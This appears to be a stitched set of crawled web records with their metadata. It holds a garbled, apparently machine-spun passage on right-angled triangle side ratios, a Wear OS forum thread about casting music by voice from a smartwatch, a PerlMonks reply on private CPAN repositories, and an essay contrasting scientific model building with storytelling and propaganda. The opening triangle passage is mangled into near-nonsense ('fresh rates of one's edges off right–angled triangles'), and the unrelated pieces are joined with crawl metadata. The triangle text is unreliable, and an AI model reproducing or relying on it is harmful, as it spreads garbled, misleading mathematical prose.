Due to the unique functions away from best–tilted triangles, the whole group of triangles which can be just like the triangle when you look at the Profile 8 can be described as the new single direction ?, otherwise, equivalently, of the proportion of the front lengths o : a : h. The fresh rates of one’s edges off right–angled triangles are thus from style of importance.
Topo
|
{
"url": "http://sotepp.unit.br/for-the-true-purpose-of-this-module-we-shall/",
"source_domain": "sotepp.unit.br",
"snapshot_id": "CC-MAIN-2023-23",
"warc_metadata": {
"Content-Length": "33611",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:34M2DWBXJA6HQ6IIOBQTLVRYM6UKHHDT",
"WARC-Concurrent-To": "<urn:uuid:68b76e55-bcb1-4ce1-a4c0-8c3b91c8075c>",
"WARC-Date": "2023-05-30T23:43:11Z",
"WARC-IP-Address": "35.231.188.7",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:Q76PNMK4FJ6JLNMC3MU2PWTEWI3WOSCI",
"WARC-Record-ID": "<urn:uuid:c3cbc9c6-5017-495d-84c9-e77bbcee9967>",
"WARC-Target-URI": "http://sotepp.unit.br/for-the-true-purpose-of-this-module-we-shall/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:1e5f9c66-7c55-4638-9a7e-ba97ad18f5ae>"
},
"warc_info": "isPartOf: CC-MAIN-2023-23\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May/June 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-247\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
9,
10,
120,
121,
138,
139,
249,
250,
506,
507,
808,
809,
1068,
1069,
1260,
1261,
1488,
1489,
1820,
1821,
2132,
2133,
2282,
2283,
2319,
2320,
2670,
2671,
3660,
3661,
4085,
4086,
4459,
4460
],
"line_end_idx": [
9,
10,
120,
121,
138,
139,
249,
250,
506,
507,
808,
809,
1068,
1069,
1260,
1261,
1488,
1489,
1820,
1821,
2132,
2133,
2282,
2283,
2319,
2320,
2670,
2671,
3660,
3661,
4085,
4086,
4459,
4460,
4464
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 4464,
"ccnet_original_nlines": 34,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.48627880215644836,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0010976899648085237,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1800219565629959,
"rps_doc_frac_unique_words": 0.38954249024391174,
"rps_doc_mean_word_length": 4.637908458709717,
"rps_doc_num_sentences": 32,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.106493949890137,
"rps_doc_word_count": 765,
"rps_doc_frac_chars_dupe_10grams": 0.034385569393634796,
"rps_doc_frac_chars_dupe_5grams": 0.04735061898827553,
"rps_doc_frac_chars_dupe_6grams": 0.034385569393634796,
"rps_doc_frac_chars_dupe_7grams": 0.034385569393634796,
"rps_doc_frac_chars_dupe_8grams": 0.034385569393634796,
"rps_doc_frac_chars_dupe_9grams": 0.034385569393634796,
"rps_doc_frac_chars_top_2gram": 0.008455470204353333,
"rps_doc_frac_chars_top_3gram": 0.007609920110553503,
"rps_doc_frac_chars_top_4gram": 0.00958286039531231,
"rps_doc_books_importance": -424.86676025390625,
"rps_doc_books_importance_length_correction": -424.86676025390625,
"rps_doc_openwebtext_importance": -252.76864624023438,
"rps_doc_openwebtext_importance_length_correction": -252.76864624023438,
"rps_doc_wikipedia_importance": -185.64987182617188,
"rps_doc_wikipedia_importance_length_correction": -185.64987182617188
},
"fasttext": {
"dclm": 0.06446350365877151,
"english": 0.9364347457885742,
"fineweb_edu_approx": 1.4030513763427734,
"eai_general_math": 0.8108859658241272,
"eai_open_web_math": 0.504045844078064,
"eai_web_code": 0.07822983711957932
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "516.22",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Geometry, Algebraic"
}
},
"secondary": {
"code": "516.2",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Geometry, Algebraic"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
63,509,206,154,754,920 |
/wearos/community?hl=en
This content is likely not relevant anymore. Try searching or browse recent questions.
-
Starting music on google home voice command, working on Android Wear? 2 Recommended Answers 8 Replies 43 Upvotes
1 Recommended Answer
$0 Recommended Answers
HI!
I'm using Google Home (US english) to control a chromecast audio speaker, starting Google music. It works great. Now I want to use voice command to start music with my smart watch, when away from the "google home" unit.
But when I use my M600 Polar, with Android Wear (in US english), the google assistant doesn't execute on the exact same command, instead merely showing me a guide on how to "cast" from the watch.
Is the command to "play music on chromecast" not supported on my smart watch device? Is it disabled on all smart watch devices?
With kind regards,
Tore
All Replies (8)
-
Oh, all devices are on the same wifi network. So that's not the problem.
marked this as an answer
-
Thanks a lot!
marked this as an answer
This has got to be the single most annoying limitation of the assistant on Wear OS.
I wrongly assumed that it would be possible before buying my Wear OS watch.
I have sent feedback on it.
marked this as an answer
I assumed this would be possible too. I'm pretty disappointed in my Wear OS watch if I'm perfectly honest. I will leave feedback.
marked this as an answer
This was a disappointment to me also. The assistant works great from my phone asking it to play a Netflix show on my TV or a Spotify Playlist on TV. It works much quicker than if I reached for the remote to press button through the menu's. Use Wear OS assistant for the same thing and it acts as dumb as a bag smashed crabs. It would be better if Wear OS could detect a command it can't perform itself on the watch and transfer that command to your phone to complete. It does this already for certain functions it can't complete I know but it needs to be smarter. Still enjoy the new OS as a whole but this is a gripe.
marked this as an answer
हेवह नहीं वह नहीं हो रही है मेरा नाम है मेरा नाम सोनी का है डीजे
marked this as an answer
This question is locked and replying has been disabled.
Discard post? You will lose what you have written so far.
Write a reply
10 characters required
Failed to attach file, click here to try again.
Discard post?
You will lose what you have written so far.
Personal information found
We found the following personal information in your message:
This information will be visible to anyone who visits or subscribes to notifications for this post. Are you sure you want to continue?
A problem occurred. Please try again.
Create Reply
Edit Reply
Delete post?
This will remove the reply from the Answers section.
Notifications are off
Your notifications are currently off and you won't receive subscription updates. To turn them on, go to Notifications preferences on your Profile page.
Report abuse
Google takes abuse of its services very seriously. We're committed to dealing with such abuse according to the laws in your country of residence. When you submit a report, we'll investigate it and take the appropriate action. We'll get back to you only if we require additional details or have more information to share.
Go to the Legal Help page to request content changes for legal reasons.
Reported post for abuse
Unable to send report.
Report post
What type of post are you reporting?
Google takes abuse of its services very seriously. We're committed to dealing with such abuse according to the laws in your country of residence. When you submit a report, we'll investigate it and take the appropriate action. We'll get back to you only if we require additional details or have more information to share.
Go to the Legal Help page to request content changes for legal reasons.
Reported post for abuse
Unable to send report.
This reply is no longer available.
/wearos/threads
//accounts.google.com/ServiceLogin
You'll receive email notifications for new posts at
Unable to delete question.
Unable to update vote.
Unable to update subscription.
You have been unsubscribed
Deleted
Unable to delete reply.
Removed from Answers
Marked as Recommended Answer
Removed recommendation
Undo
Unable to update reply.
Unable to update vote.
Thank you. Your response was recorded.
Unable to undo vote.
Thank you. This reply will now display in the answers section.
Link copied
Locked
Unlocked
Unable to lock
Unable to unlock
Pinned
Unpinned
Unable to pin
Unable to unpin
Marked
Unmarked
Unable to mark
Reported as off topic
/wearos/profile/0?hl=en-GB
|
{
"url": "https://support.google.com/wearos/thread/30080?hl=en-GB",
"source_domain": "support.google.com",
"snapshot_id": "crawl=CC-MAIN-2020-34",
"warc_metadata": {
"Content-Length": "761608",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:YOU2JW3L4BO43FM2PC2HEZHKU2MNXJH6",
"WARC-Concurrent-To": "<urn:uuid:58f941f9-5726-413a-9911-adef0b03cedb>",
"WARC-Date": "2020-08-13T12:52:44Z",
"WARC-IP-Address": "172.217.13.238",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:SATHW4256KQTKUWFJ7FMXB2LPKEM5QNA",
"WARC-Record-ID": "<urn:uuid:ddf27b33-e77c-4840-a265-314fc70917db>",
"WARC-Target-URI": "https://support.google.com/wearos/thread/30080?hl=en-GB",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:bc64b35c-be72-4d10-88e3-b04661a0a765>"
},
"warc_info": "isPartOf: CC-MAIN-2020-34\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-142.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
24,
111,
113,
226,
247,
270,
274,
275,
495,
496,
693,
694,
822,
823,
843,
844,
849,
865,
867,
940,
965,
967,
981,
1006,
1090,
1166,
1194,
1219,
1349,
1374,
1993,
2018,
2083,
2108,
2164,
2222,
2236,
2259,
2307,
2321,
2365,
2392,
2393,
2454,
2455,
2590,
2591,
2629,
2642,
2653,
2666,
2719,
2741,
2893,
2906,
3227,
3228,
3300,
3301,
3325,
3348,
3360,
3397,
3718,
3719,
3791,
3792,
3816,
3839,
3874,
3890,
3925,
3977,
4004,
4027,
4058,
4085,
4093,
4117,
4138,
4167,
4190,
4195,
4219,
4242,
4281,
4302,
4365,
4377,
4384,
4393,
4408,
4425,
4432,
4441,
4455,
4471,
4478,
4487,
4502,
4524
],
"line_end_idx": [
24,
111,
113,
226,
247,
270,
274,
275,
495,
496,
693,
694,
822,
823,
843,
844,
849,
865,
867,
940,
965,
967,
981,
1006,
1090,
1166,
1194,
1219,
1349,
1374,
1993,
2018,
2083,
2108,
2164,
2222,
2236,
2259,
2307,
2321,
2365,
2392,
2393,
2454,
2455,
2590,
2591,
2629,
2642,
2653,
2666,
2719,
2741,
2893,
2906,
3227,
3228,
3300,
3301,
3325,
3348,
3360,
3397,
3718,
3719,
3791,
3792,
3816,
3839,
3874,
3890,
3925,
3977,
4004,
4027,
4058,
4085,
4093,
4117,
4138,
4167,
4190,
4195,
4219,
4242,
4281,
4302,
4365,
4377,
4384,
4393,
4408,
4425,
4432,
4441,
4455,
4471,
4478,
4487,
4502,
4524,
4550
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 4550,
"ccnet_original_nlines": 101,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3683663010597229,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.026014570146799088,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.18210197985172272,
"rps_doc_frac_unique_words": 0.39897698163986206,
"rps_doc_mean_word_length": 4.635550022125244,
"rps_doc_num_sentences": 70,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.245433807373047,
"rps_doc_word_count": 782,
"rps_doc_frac_chars_dupe_10grams": 0.22068965435028076,
"rps_doc_frac_chars_dupe_5grams": 0.25710344314575195,
"rps_doc_frac_chars_dupe_6grams": 0.24055172502994537,
"rps_doc_frac_chars_dupe_7grams": 0.22068965435028076,
"rps_doc_frac_chars_dupe_8grams": 0.22068965435028076,
"rps_doc_frac_chars_dupe_9grams": 0.22068965435028076,
"rps_doc_frac_chars_top_2gram": 0.03089655004441738,
"rps_doc_frac_chars_top_3gram": 0.019862070679664612,
"rps_doc_frac_chars_top_4gram": 0.0231724102050066,
"rps_doc_books_importance": -414.9417724609375,
"rps_doc_books_importance_length_correction": -414.9417724609375,
"rps_doc_openwebtext_importance": -226.08340454101562,
"rps_doc_openwebtext_importance_length_correction": -226.08340454101562,
"rps_doc_wikipedia_importance": -163.33639526367188,
"rps_doc_wikipedia_importance_length_correction": -163.33639526367188
},
"fasttext": {
"dclm": 0.08008015155792236,
"english": 0.946501612663269,
"fineweb_edu_approx": 1.1568917036056519,
"eai_general_math": 0.012048959732055664,
"eai_open_web_math": 0.06245535984635353,
"eai_web_code": 0.007926399819552898
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "004.6",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
6,574,512,910,601,332,000 |
Beefy Boxes and Bandwidth Generously Provided by pair Networks
Syntactic Confectionery Delight
PerlMonks
Comment on
( #3333=superdoc: print w/ replies, xml ) Need Help??
I wouldn't have it based on CPAN. For code written inside the organisation, I'd use a source control system. Deployment, I'd either distribute using the source control system, or a package system that's appropriate for the OS
A private CPAN does not preclude you from using a source control systems for deployment. Nor does it preclude you from using a more general packaging system (like RPMs) to distribute your code. These are complimentary technologies that fit around a private CPAN.
What's the point, and why would an organization want to limit itself to a system that's geared to a single language, and is designed to do quite different things than corporations need?
In my experience, the purpose of a private CPAN is to enable organizations to leverage the CPAN tool chain for managing the dependencies between their own modules and their third-party libraries (i.e. the public CPAN).
I'm not suggesting that everyone *should* use a private CPAN, especially if they are already comfortable with their dependency management infrastructure. However, there are a significant number of organizations that don't manage their Perl module dependencies well. Often times, this leads to application failures, unnecessary development costs, and general chaos.
Private CPANs have started to emerge as one possible solution for managing Perl module dependencies. But the current tools for creating, maintaining, and using a private CPANs are very fragmented. Moreover, the patterns for using those tools are not well established. My goal is to assimilate the existing tools and knowledge (and perhaps some new tools and knowledge) into a coherent product.
So this thread certainly isn't relevant for everyone. But if your production system has ever crashed because the team down the hall decided to upgrade their app to the latest Catalyst, or if you have to debug in production because you can't reproduce the exact same system somewhere else, or if you've ever had to force-install a module with failed tests, then I want to hear from you.
Jeffrey Thalhammer
Imaginative Software Systems
In reply to Re^2: RFC: Private CPAN In A Box by jthalhammer
in thread RFC: Private CPAN In A Box by jthalhammer
Title:
Use: <p> text here (a paragraph) </p>
and: <code> code here </code>
to format your post; it's "PerlMonks-approved HTML":
• Posts are HTML formatted. Put <p> </p> tags around your paragraphs. Put <code> </code> tags around your code and data!
• Read Where should I post X? if you're not absolutely sure you're posting in the right place.
• Please read these before you post! —
• Posts may use any of the Perl Monks Approved HTML tags:
a, abbr, b, big, blockquote, br, caption, center, col, colgroup, dd, del, div, dl, dt, em, font, h1, h2, h3, h4, h5, h6, hr, i, ins, li, ol, p, pre, readmore, small, span, spoiler, strike, strong, sub, sup, table, tbody, td, tfoot, th, thead, tr, tt, u, ul, wbr
• Outside of code tags, you may need to use entities for some characters:
For: Use:
& &
< <
> >
[ [
] ]
• Link using PerlMonks shortcuts! What shortcuts can I use for linking?
• See Writeup Formatting Tips and other pages linked from there for more info.
• Log In?
Username:
Password:
What's my password?
Create A New User
Chatterbox?
and the web crawler heard nothing...
How do I use this? | Other CB clients
Other Users?
Others imbibing at the Monastery: (5)
As of 2015-04-26 14:17 GMT
Sections?
Information?
Find Nodes?
Leftovers?
Voting Booth?
Who makes your decisions?
Results (488 votes), past polls
|
{
"url": "http://www.perlmonks.org/?parent=906051;node_id=3333",
"source_domain": "www.perlmonks.org",
"snapshot_id": "crawl=CC-MAIN-2015-18",
"warc_metadata": {
"Content-Length": "21173",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:4UADA3K4QOS47ACHNLXWBKY6BKF7V5EO",
"WARC-Concurrent-To": "<urn:uuid:7f4cfd3d-88b6-4221-bd24-dd8921d435f2>",
"WARC-Date": "2015-04-26T14:18:19Z",
"WARC-IP-Address": "216.92.34.251",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:I4ROF2B657KBSE7UMUH3DNLTPOA7F55U",
"WARC-Record-ID": "<urn:uuid:8f25af0e-78dc-4013-9f09-d67db3ee21b7>",
"WARC-Target-URI": "http://www.perlmonks.org/?parent=906051;node_id=3333",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:a407c810-97dd-4e9f-9592-991c2abcba35>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-235-10-82.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-18\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for April 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
63,
95,
97,
109,
110,
121,
122,
176,
177,
403,
404,
667,
668,
854,
855,
1074,
1075,
1440,
1441,
1835,
1836,
2222,
2223,
2242,
2271,
2272,
2273,
2333,
2385,
2386,
2393,
2432,
2463,
2516,
2517,
2518,
2519,
2642,
2739,
2780,
2840,
3106,
3182,
3208,
3220,
3231,
3242,
3254,
3266,
3340,
3421,
3433,
3447,
3461,
3462,
3486,
3508,
3524,
3565,
3566,
3608,
3625,
3667,
3698,
3712,
3729,
3745,
3760,
3780,
3781,
3813,
3814,
3815,
3816,
3817,
3818,
3819,
3820
],
"line_end_idx": [
63,
95,
97,
109,
110,
121,
122,
176,
177,
403,
404,
667,
668,
854,
855,
1074,
1075,
1440,
1441,
1835,
1836,
2222,
2223,
2242,
2271,
2272,
2273,
2333,
2385,
2386,
2393,
2432,
2463,
2516,
2517,
2518,
2519,
2642,
2739,
2780,
2840,
3106,
3182,
3208,
3220,
3231,
3242,
3254,
3266,
3340,
3421,
3433,
3447,
3461,
3462,
3486,
3508,
3524,
3565,
3566,
3608,
3625,
3667,
3698,
3712,
3729,
3745,
3760,
3780,
3781,
3813,
3814,
3815,
3816,
3817,
3818,
3819,
3820,
3857
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 3857,
"ccnet_original_nlines": 78,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3204353153705597,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.036275699734687805,
"rps_doc_frac_lines_end_with_ellipsis": 0.012658230029046535,
"rps_doc_frac_no_alph_words": 0.26118502020835876,
"rps_doc_frac_unique_words": 0.5749588012695312,
"rps_doc_mean_word_length": 4.733113765716553,
"rps_doc_num_sentences": 41,
"rps_doc_symbol_to_word_ratio": 0.0048367599956691265,
"rps_doc_unigram_entropy": 5.461557865142822,
"rps_doc_word_count": 607,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.037591371685266495,
"rps_doc_frac_chars_dupe_6grams": 0.022972499951720238,
"rps_doc_frac_chars_dupe_7grams": 0.022972499951720238,
"rps_doc_frac_chars_dupe_8grams": 0.022972499951720238,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.022972499951720238,
"rps_doc_frac_chars_top_3gram": 0.016707269474864006,
"rps_doc_frac_chars_top_4gram": 0.013922730460762978,
"rps_doc_books_importance": -374.1354675292969,
"rps_doc_books_importance_length_correction": -374.1354675292969,
"rps_doc_openwebtext_importance": -144.92970275878906,
"rps_doc_openwebtext_importance_length_correction": -144.92970275878906,
"rps_doc_wikipedia_importance": -133.0679473876953,
"rps_doc_wikipedia_importance_length_correction": -133.0679473876953
},
"fasttext": {
"dclm": 0.11825823783874512,
"english": 0.9134371280670166,
"fineweb_edu_approx": 1.834455966949463,
"eai_general_math": 0.026774879544973373,
"eai_open_web_math": 0.26699018478393555,
"eai_web_code": 0.008391019888222218
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.136",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "5",
"label": "Evaluate"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "5",
"label": "Comment Section"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-3,302,339,400,364,133,000 |
Are you a model builder or a story teller?
Have you ever wondered why “storytelling” is such a trendy topic? If this question bothers you and makes you uncomfortable, your perspective on human affairs and your cognitive lens is rather unusual.
Once upon a time, in the 1970s, model building gained popularity and nearly caught up with the older art of storytelling. But half a century later the popularity of model building is back to what it was in the 1960s, and according to the data analysis by Google Ngram “storytelling” has reached new heights, the word being used twice as often as the word “agile”.
story
The “art of storytelling” and “agile software” are strong contenders for being the catchphrase of the current millennium. Is is not surprising that the latter term was not in circulation in the 20th century, but it is perhaps somewhat surprising that the “art of storytelling” was pretty much non-existent before the 20th century.
What has happened to model building?
Unfortunately the public interface to Google Ngram only provides access to data up to 2008, but it seems that model building has given way to machine learning – and I would guess to “artificial intelligence” in recent years.
Model building is linked to the success of the scientific method. Researchers create, validate, and refine models to improve our level of understanding about various aspects of the world we live in, and to articulate their understanding in formal notations that facilitate independent critical analysis.
What is the usefulness of models that are only understandable for very few human?
The scientific revolution undoubtedly led to a better understanding of some aspects of the world we live in by enabling humans to create more and more complex technologies. But it also created new levels of ignorance about externalities that went hand in hand with the development of new technologies, fuelled by specific economic beliefs about efficiency and abstractions such as money and markets.
In the early days of the industrial revolution modelling was concerned with understanding and mastering the physical world, resulting in progress in engineering and manufacturing. Over the last century formal model building was found to be useful in more and more disciplines, across all the natural sciences, and increasingly as well in medicine and the social sciences, especially in economics.
With 20/20 hindsight it becomes clear that there is a significant lag between model building and the identification of externalities that are created by systematically applying models to accelerate the development and roll-out of new technologies.
Humans are biased to thinking they understand more than they actually do, and this effect is further amplified by technologies such as the Internet, which connects us to an exponentially growing pool of information. New knowledge is being produced faster than ever whilst the time available to independently validate each new nugget of “knowledge” is shrinking, and whilst the human ability to learn new knowledge at best remains unchanged – if it is not compromised by information overload.
Those who engage in model building face the challenge of either diving deep into a narrow silo, to ensure and adequate level of understanding of a particular niche domain, or to restrict their activity to an attempt of modelling the dependencies between subdomains, and to coordinating the model building of domain experts across a number of silos. As a result:
• Many models are only understandable for their creators and a very small circle of collaborators.
• Each model integrator can only be effective at bridging a very limited number of silos.
• The assumptions associated with each model are only known understood locally, some of the assumptions remain tacit knowledge, and assumptions may vary significantly between the models produced by different teams.
• Many externalities escape early detection, as there is hardly anyone or any technology continuously looking for unexpected results and correlations across deep chains of dependencies between subdomains.
When the translation of new models into new applications and technologies is not adequately constrained by the level to which models can be independently validated and by application of the precautionary principle, potentially catastrophic surprises are inevitable.
Does it make sense to talk about models that are not understandable for any human?
Good models are not only useful, they are also understandable and have explanatory power – at least for a few people. Additionally, from the perspective of a mathematician, many of the most highly valued models also conform to an aesthetic sense of beauty, by surfacing a surprising degree of symmetry, by bringing non-intuitive connections into focus, and simply by their level of compactness.
Scientific model building is a balancing act between simplicity and usefulness. An overly complex model is less easy to understand and therefore less easy to integrate with complementary models, and an over-simplified model may be easy to work with, but may be so limited in its scope of applicability that it becomes useless.
What is not widely recognised beyond the mathematical community is that the so-called models generated by machine learning algorithms / artificial intelligence systems are not human understandable, for the same reasons that the physical representations of knowledge within a human brain are not understandable by humans. Making any sense of knowledge representations in a brain requires not only highly specialised scanning technologies but also non-trivial visualisation technologies – and the resulting pictures only give us a very crude and indirect understanding of what a person experiences and thinks about at any given moment.
Do correlation models without explanatory power qualify as models? There are many useful applications of machine learning, but if the learning does not result in models that are understandable, then the results of machine learning should perhaps be referred to as digital correlation maps to avoid confusion with models that are designed for human consumption. Complex correlation maps can be visualised in ways similar to the results of brain scans, and the level of insights that can be deduced from such visualisations are correspondingly limited.
It is not yet clear how to construct conscious artificial intelligence systems, i.e. systems that can not only establish correlations between data streams, but that are also capable of developing conceptual models of themselves and their environment that can be shared with and can be understood by humans. In particular current machine learning systems are not able to explain how they arrive at specific conclusions.
The limitations of machine learning highlights what is being lost by neglecting model building and by leaving modelling entirely to individual experts working in deep and narrow silos. Model validation and integration has largely been replaced with over-simplified storytelling – the goal has shifted from improving understanding to applying the tools of persuasion.
What’s the story with storytelling?
rumours
The art of storytelling is linked to the rise of marketing and persuasive writing. Edward Bernayse was one of the original shapers of the logic of marketing:
Bernays’ vision was of a utopian society in which individuals’ dangerous libidinal energies, the psychic and emotional energy associated with instinctual biological drives that Bernays viewed as inherently dangerous given his observation of societies like the Germans under Hitler, could be harnessed and channelled by a corporate elite for economic benefit. Through the use of mass production, big business could fulfil the cravings of what Bernays saw as the inherently irrational and desire-driven masses, simultaneously securing the niche of a mass production economy (even in peacetime), as well as sating what he considered to be dangerous animal urges that threatened to tear society apart if left unquelled.
Bernays touted the idea that the “masses” are driven by factors outside their conscious understanding, and therefore that their minds can and should be manipulated by the capable few. “Intelligent men must realize that propaganda is the modern instrument by which they can fight for productive ends and help to bring order out of chaos.”
The conscious and intelligent manipulation of the organized habits and opinions of the masses is an important element in democratic society. Those who manipulate this unseen mechanism of society constitute an invisible government which is the true ruling power of our country. …In almost every act of our daily lives, whether in the sphere of politics or business, in our social conduct or our ethical thinking, we are dominated by the relatively small number of persons…who understand the mental processes and social patterns of the masses. It is they who pull the wires which control the public mind.
Propaganda was portrayed as the only alternative to chaos.
The purpose of storytelling is the propagation of beliefs and emotions.
What is the usefulness of stories if they do nothing to improve our level of understanding of the world we live in?
Sure, if stories help to increase the number of shared beliefs within a group, then the people involved may understand more about the motivations and behaviours of the others within the group. But at the same time, in the absence of building improved models about the non-social world, the behaviour of the group easily drifts into more and more abstract realms of social games, making the group increasingly blind to the effects of their behaviours on outsiders and on the non-social world.
